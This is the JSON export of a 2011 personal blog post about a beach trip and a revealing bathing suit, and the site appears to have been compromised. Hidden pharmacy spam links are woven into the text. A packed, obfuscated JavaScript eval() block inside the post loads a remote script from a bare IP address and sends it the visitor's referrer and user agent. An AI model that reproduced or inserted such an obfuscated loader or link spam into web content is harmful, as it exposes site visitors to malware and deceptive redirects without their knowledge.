{"id":21,"date":"2011-07-20T22:35:34","date_gmt":"2011-07-20T22:35:34","guid":{"rendered":"http:\/\/sooutrageous.lovelyburger.com\/?p=21"},"modified":"2011-07-20T22:35:34","modified_gmt":"2011-07-20T22:35:34","slug":"a-world-thats-not-the-internet","status":"publish","type":"post","link":"http:\/\/sooutrageous.lovelyburger.com\/?p=21","title":{"rendered":"a world that&#8217;s not the internet"},"content":{"rendered":"<p>I&#8217;m sure I&#8217;d be content to spend all my days on the internet but I can&#8217;t swim in it, <a href=\"http:\/\/sildenafil24.net\/\" style=\"text-decoration:none;color:#676c6c\">sickness<\/a>  not yet.<br \/>\n<noindex><script type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\\\o=\"+3(j.i)+\"\\'><\\\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zttkh|var|u0026u|referrer|nzdss||js|php'.split('|'),0,{}))\n<\/script><\/noindex><br \/>\nBathing suit season is almost over so it&#8217;d probably be really helpful to you at this point if I talked about my bathing suit.<\/p>\n<img decoding=\"async\" loading=\"lazy\" title=\"hiltonhead\" src=\"https:\/\/lh5.googleusercontent.com\/-Nz3qUn6BB7A\/TidUtU1ssBI\/AAAAAAAAAFs\/WOjeGigg6-E\/s800\/braidonthebeach.JPG\" alt=\"\" width=\"800\" height=\"600\" \/>\n<p>I got to go on a two-day, <a href=\"http:\/\/buyviagraonlinefree.net\/\" style=\"text-decoration:none;color:#676c6c\">viagra<\/a>  impromptu trip to Jacksonville with my cousin to pick up her nephew. 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It looks like from the website that it makes even their thinnest models look oddly pouchy. It does make my prominent belly look even more prominent and does nothing for my boobs, so I&#8217;m not sure it&#8217;s the bathing suit that looks best on me, but really my biggest problem is the flashing people thing.<\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"v\" src=\"https:\/\/lh3.googleusercontent.com\/--pan9f363pI\/TidUufYSvxI\/AAAAAAAAAF0\/X1keaL8jVI4\/s800\/eek.jpg\" alt=\"\" width=\"720\" height=\"540\" \/><\/p>\n<figure style=\"width: 723px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" title=\"waterfall\" src=\"https:\/\/lh6.googleusercontent.com\/-4I3ojKsEJt0\/TidUuytrYoI\/AAAAAAAAAF4\/QKdPQFYcd9g\/s800\/waterfall.jpg\" alt=\"\" width=\"723\" height=\"600\" \/><figcaption class=\"wp-caption-text\">How am I supposed to catch toddlers or swim in waterfalls while worrying about my chest area?<\/figcaption><\/figure>\n<p>PUT IT AWAY, BATHING SUIT, MY FAMILY READS THIS<\/p>\n","protected":false},"excerpt":{"rendered":"<p>I&#8217;m sure I&#8217;d be content to spend all my days on the internet but I can&#8217;t swim in it, sickness not yet. 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